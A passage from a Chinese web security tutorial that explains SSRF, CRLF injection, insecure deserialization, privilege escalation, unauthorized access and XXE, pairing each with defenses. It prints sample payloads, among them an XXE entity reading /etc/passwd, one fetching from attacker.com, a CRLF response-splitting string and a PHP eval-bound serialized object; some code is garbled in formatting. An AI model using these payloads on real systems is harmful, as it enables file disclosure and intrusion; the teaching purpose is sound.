原理

SSRF攻击者通过欺骗服务器，使其发送请求到攻击者指定的目标。攻击者利用服务器作为代理，访问内部资源或执行恶意操作。

攻击示例

例如，一个应用允许用户输入URL来获取网页内容，攻击者可以输入内部IP地址，访问内部服务：

GET /fetch?url=http://127.0.0.1/admin

防范措施

严格验证和过滤输入：对用户提供的URL进行严格验证，限制只能访问合法的外部资源。

from urllib.parse

import urlparse

def is_valid_url(url):

parsed_url = urlparse(url)

return parsed_url.scheme in ['http', 'https'] and not

parsed_url.hostname.startswith(('localhost', '127.', '192.168.'))

网络隔离：将内部服务和外部请求处理服务隔离，防止内部服务被外部请求访问。

请求白名单：只允许访问预定义的可信任地址。

3. CRLF（Carriage Return Line Feed，回车换行注入）

原理

CRLF注入攻击利用应用程序对输入处理不当的漏洞，将回车（\r）和换行（\n）字符注入到HTTP响应头中，从而实现HTTP响应拆分，诱导用户访问恶意页面或执行其他恶意操作。

攻击示例

如果应用程序将用户输入直接包含在HTTP头中，攻击者可以注入CRLF字符，分隔并注入额外的头或响应内容：

GET /search?query=%0d%0aSet-

Cookie:%20sessionid=attacker_cookie%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-

Type:%20text/html%0d%0aContent-Length:%2020%0d%0a%0d%0a<h1>Hacked</h1>

防范措施

输入验证和过滤：严格验证用户输入，移除或转义CRLF字符。

import re

def sanitize_input(input_str):

return re.sub(r'[\r\n]', '', input_str)

正确设置HTTP头：使用框架提供的安全方法设置HTTP头，避免直接拼接用户输入。

from flask

import Response response = Response()

response.headers['Custom-Header'] = sanitize_input(user_input)

使用安全库：使用经过审计的第三方库和框架，确保HTTP响应头设置的安全性。

6.反序列化 

反序列化（deserialization）是将序列化的数据转换回对象的过程。序列化是将对象转换为一种可以存储或传输的格式的过程，如JSON、XML、二进制流等。反序列化漏洞是在反序列化不受信任的数据时，攻击者能够利用该过程在目标系统上执行恶意代码或进行其他未经授权的操作。

反序列化漏洞的原理

反序列化漏洞通常出现在以下情况下：

不安全的反序列化：应用程序直接反序列化用户提供的数据，而没有对数据进行充分的验证和过滤。危险的反序列化类：反序列化过程中使用了存在漏洞的类或库，这些类或库在反序列化时可能会执行恶意代码。反序列化后的未验证操作：应用程序在反序列化后，对对象执行了未经验证的操作，可能导致代码执行、文件操作或网络请求等。

反序列化攻击示例

Java反序列化攻击

Java的反序列化攻击通常利用Java序列化机制中的漏洞，如使用ObjectInputStream直接反序列化用户提供的对象。

示例代码：

java

复制代码

import java.io.*;

public class DeserializeDemo {

public static void main(String[] args) {

try {

FileInputStream fileIn = new FileInputStream("serializedObject.ser");

ObjectInputStream in = new ObjectInputStream(fileIn);

MyObject obj = (MyObject) in.readObject();

in.close();

fileIn.close();

} catch (IOException | ClassNotFoundException i) {

i.printStackTrace();

}

}

}

攻击者可以构造一个恶意的序列化对象，利用反序列化过程中的漏洞执行恶意代码。

PHP反序列化攻击

PHP的反序列化攻击利用了PHP中的unserialize()函数，反序列化用户提供的数据。

示例代码：

<?php

class MyClass {

public $data;

public function __wakeup()

{

eval($this->data); // 执行反序列化数据中的代码

}

}

$serializedData = $_GET['data'];

$obj = unserialize($serializedData);

?>

攻击者可以通过发送特定的序列化数据，执行任意PHP代码：

O:7:"MyClass":1:{s:4:"data";s:24:"phpinfo();";} // 恶意序列化数据

防范反序列化漏洞的措施

避免反序列化不受信任的数据：不要反序列化不受信任的输入数据，特别是来自用户的输入。

使用安全的反序列化库：使用已知安全的反序列化库，避免使用存在已知漏洞的类或库。

例如，在Java中使用Jackson或Gson进行JSON反序列化，而不是使用Java原生的反序列化机制。

反序列化数据验证：在反序列化前，对数据进行严格的验证和过滤，确保数据的合法性。

使用白名单策略：在反序列化过程中，只允许特定的、安全的类进行反序列化。

例如，在Java中，可以使用ObjectInputStream的子类，重写resolveClass方法，只允许指定的类进行反序列化。

public class SafeObjectInputStream extends ObjectInputStream {

private static final Set<String> ALLOWED_CLASSES = Set.of("com.example.MySafeClass");

protected SafeObjectInputStream(InputStream in) throws IOException {

super(in);

}

@Override

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,ClassNotFoundException {

if (!ALLOWED_CLASSES.contains(desc.getName())) {

throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());

}

return super.resolveClass(desc);

}

}

最小化反序列化操作的权限：将反序列化操作置于权限最小的环境中，防止恶意代码在反序列化过程中获取不必要的权限。

监控和审计：监控和记录反序列化操作，及时发现和响应可疑的反序列化活动。

反序列化漏洞防范示例

安全的PHP反序列化示例

通过使用JSON格式来替代原生的PHP序列化和反序列化，可以避免反序列化漏洞：

<?php

$jsonData = $_GET['data'];

$data = json_decode($jsonData, true);

// 使用json_decode进行安全的反序列化

?>

安全的Java反序列化示例

通过使用安全的反序列化库，如Jackson进行反序列化：

java

复制代码

import com.fasterxml.jackson.databind.ObjectMapper;

public class DeserializeDemo {

public static void main(String[] args) {

try {

ObjectMapper mapper = new ObjectMapper();

MyObject obj = mapper.readValue(new File("data.json"), MyObject.class);

} catch (IOException e) {

e.printStackTrace();

}

}

}

通过遵循上述防范措施和示例，可以有效地防止反序列化漏洞，确保应用程序的安全性。

 7.逻辑越权

逻辑越权（Logic Flaw Exploitation）是一种网络安全漏洞，发生在应用程序的业务逻辑上。攻击者通过绕过或滥用应用程序的正常业务逻辑，执行未授权的操作或访问敏感数据。这种攻击利用了应用程序设计中的漏洞，而不是传统的技术漏洞。

逻辑越权的类型

逻辑越权攻击可以分为以下几种类型：

水平越权（Horizontal Privilege Escalation）：

攻击者利用自己的身份访问其他同级用户的资源或数据。例如，一个用户可以通过修改请求参数访问另一个用户的订单详情。

垂直越权（Vertical Privilege Escalation）：

攻击者通过低权限账户执行只有高权限账户才能执行的操作。例如，一个普通用户通过修改请求参数执行管理员的操作。

业务逻辑漏洞（Business Logic Flaws）：

攻击者通过操纵应用程序的业务流程，执行未授权的操作。例如，通过绕过支付步骤直接获得商品或服务。

逻辑越权攻击示例

水平越权示例

假设一个用户可以通过以下URL访问自己的订单详情：

http://example.com/order?id=123

攻击者通过修改id参数，可以访问其他用户的订单：

http://example.com/order?id=124

垂直越权示例

一个普通用户通过以下URL访问自己的账户设置：

http://example.com/user/settings

攻击者通过修改URL或参数，尝试访问管理员功能：

http://example.com/admin/settings

防范逻辑越权攻击的措施

严格的权限控制：

在服务器端实现严格的权限控制，确保每个请求都经过身份验证和权限验证。在每个请求处理前，检查用户是否有权访问或操作指定资源。

输入验证：

对用户输入的所有参数进行严格的验证，确保其合法性。防止攻击者通过篡改参数来访问或操作未授权的资源。

安全设计和编码：

在设计和编码阶段，遵循安全编码实践，考虑到可能的逻辑漏洞。使用安全的框架和库，避免自行实现复杂的安全逻辑。

最小权限原则：

确保用户和应用程序只拥有执行特定任务所需的最小权限。避免赋予用户或组件过高的权限，减少被滥用的风险。

定期安全审计和测试：

进行定期的代码审查和安全审计，发现并修复潜在的逻辑漏洞。使用自动化工具和手动渗透测试，检测逻辑越权漏洞。

日志和监控：

记录所有的访问和操作日志，监控异常行为。对可疑的操作和访问进行及时的告警和响应。

逻辑越权防范示例

示例代码：水平越权防范（PHP）

<?php

session_start();

$user_id = $_SESSION['user_id']; // 获取当前登录用户的ID // 获取订单ID并验证订单是否属于当前用户 $order_id = $_GET['id']; $query = $pdo->prepare('SELECT * FROM orders WHERE id = :id AND user_id = :user_id');

$query->execute(['id' => $order_id, 'user_id' => $user_id]);

$order = $query->fetch();

if ($order) { // 显示订单详情 }

else { // 显示错误信息：未授权访问 }

?>

示例代码：垂直越权防范（Java）

public class AdminController {

@GetMapping("/admin/settings")

public String getAdminSettings(HttpServletRequest request) {

User user = (User) request.getSession().getAttribute("user"); // 检查用户是否为管理员

if (user == null || !user.isAdmin()) {

return "redirect:/error/403"; // 返回403禁止访问页面

} // 显示管理员设置页面

return "adminSettings";

}

}

总结

逻辑越权攻击利用应用程序业务逻辑中的设计缺陷，绕过正常的权限控制，执行未授权的操作。通过严格的权限控制、输入验证、安全设计和编码、最小权限原则、定期安全审计和测试，以及日志和监控，可以有效防范逻辑越权攻击，确保应用程序的安全性。

8. 未授权访问

未授权访问（Unauthorized Access）是指用户在没有适当权限的情况下访问或操作系统资源、数据或功能。未授权访问可能导致数据泄露、系统破坏、信息篡改等严重安全问题。这个问题通常是由于权限控制不严、身份验证漏洞、业务逻辑设计不当等原因造成的。

未授权访问的类型

未经身份验证的访问（Unauthenticated Access）：

用户没有登录或提供身份验证凭证却能够访问受保护的资源。例如，公开访问需要登录的用户资料页面。

权限提升（Privilege Escalation）：

用户通过某种手段提升自己的权限，从而访问不应有的功能或数据。例如，普通用户通过篡改请求参数访问管理员功能。

资源泄露（Resource Exposure）：

应用程序暴露了本应受到保护的敏感数据或功能，允许未经授权的用户访问。例如，公开访问敏感的API端点或未受保护的文件下载链接。

未授权访问攻击示例

示例 1：未经身份验证的访问

假设一个在线银行应用的用户资料页面应受保护，但通过以下URL可以直接访问：

http://example.com/user/profile

攻击者可以访问此页面查看或修改用户的敏感信息，而无需登录。

示例 2：权限提升

一个普通用户的请求中包含一个可修改的参数（例如userId）：

http://example.com/admin/user?userId=123

普通用户可以通过修改userId参数来访问或管理其他用户的账户。

示例 3：资源泄露

某个API端点用于获取用户数据，但没有适当的权限验证：

GET /api/user/data?id=123

攻击者可以通过直接调用该API来获取其他用户的数据。

防范未授权访问的措施

强制身份验证（Authentication）：

确保所有需要保护的资源和功能都要求用户登录。实现强身份验证机制，如多因素身份验证（MFA），提高安全性。

权限控制（Authorization）：

在每个请求处理时验证用户权限，确保用户只能访问其有权访问的资源。使用基于角色的访问控制（RBAC）或基于属性的访问控制（ABAC）来细化权限管理。

敏感资源保护：

确保敏感数据和功能通过适当的权限控制进行保护。使用访问控制列表（ACL）或其他机制限制资源访问。

请求参数验证：

对所有输入参数进行验证，防止用户篡改请求参数来提升权限或访问未经授权的数据。

最小权限原则（Principle of Least Privilege）：

确保用户和系统组件仅拥有执行其任务所需的最低权限。定期审查和更新用户权限，防止权限过度分配。

安全设计和编码：

在设计和编码阶段考虑安全性，确保业务逻辑和权限检查的正确性。避免在客户端进行关键的权限检查，所有权限控制应在服务器端实现。

定期安全审计和测试：

进行定期的代码审查和安全审计，发现和修复未授权访问漏洞。进行渗透测试和漏洞扫描，模拟攻击者行为，检测潜在的安全问题。

使用安全框架和库：

使用经过审计和安全性验证的框架和库，减少自行实现权限控制的风险。

示例代码：防范未授权访问

PHP 示例

<?php

session_start(); // 假设用户角色存储在会话中

$user_role = $_SESSION['role']; // 验证用户是否有权限访问管理员页面

if ($user_role !== 'admin')

{ header("HTTP/1.0 403 Forbidden");

echo "You do not have permission to access this page.";

exit; } // 显示管理员页面内容

?>

Java 示例

import org.springframework.security.access.annotation.Secured;

@RestController

public class AdminController {

@Secured("ROLE_ADMIN")

@GetMapping("/admin/dashboard")

public String getAdminDashboard() { // 显示管理员仪表板内容

return "adminDashboard";

}

}

总结

未授权访问是由于身份验证和权限控制不严造成的安全漏洞，可能导致数据泄露、系统破坏等严重问题。通过强制身份验证、权限控制、敏感资源保护、请求参数验证、最小权限原则、良好的安全设计和编码、定期安全审计和测试，以及使用安全框架和库，可以有效防范未授权访问，保障应用程序和用户数据的安全。

9.XXE/XML

XXE（XML External Entity Injection，XML外部实体注入）是一种针对XML处理器的攻击方式，攻击者通过注入恶意的XML外部实体，来读取敏感文件、进行拒绝服务攻击（DoS）、以及执行其他恶意操作。XXE漏洞通常发生在XML解析器不安全的配置或处理上。

XXE攻击原理

XML解析器在处理XML文档时，如果允许外部实体的解析，攻击者可以利用这一点来进行攻击。外部实体是一种可以在XML中引用外部资源的机制，攻击者可以通过构造恶意的XML数据，指向系统中的敏感文件或进行其他恶意操作。

示例 XML 文档

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

<foo>

<bar>

&xxe;

</bar>

</foo>

在上述XML中，<!ENTITY xxe SYSTEM "file:///etc/passwd">定义了一个外部实体xxe，其内容是系统文件/etc/passwd的内容。&xxe;会被解析器替换为/etc/passwd文件的内容。

XXE攻击示例

示例 1：读取敏感文件

假设一个应用程序解析用户上传的XML文件，攻击者可以构造一个恶意XML文件，利用外部实体来读取系统上的敏感文件。

<?xml version="1.0"?>code>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

<foo>

<bar>

&xxe;

</bar>

</foo>

当应用程序解析这个XML文件时，/etc/passwd的内容将被注入到<bar>标签中，从而泄露了系统的敏感信息。

示例 2：拒绝服务攻击（DoS）

攻击者可以构造一个非常大的XML文件，其中包含大量的递归实体引用，导致解析器在处理时耗尽内存或CPU资源，造成拒绝服务（DoS）。

<?xml version="1.0"?> code>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com/malicious.xml"> ]>

<foo>

<bar>

&xxe;

</bar>

</foo>

如果malicious.xml包含递归实体定义，解析时会导致无限递归，进而消耗大量系统资源。

防范XXE攻击的措施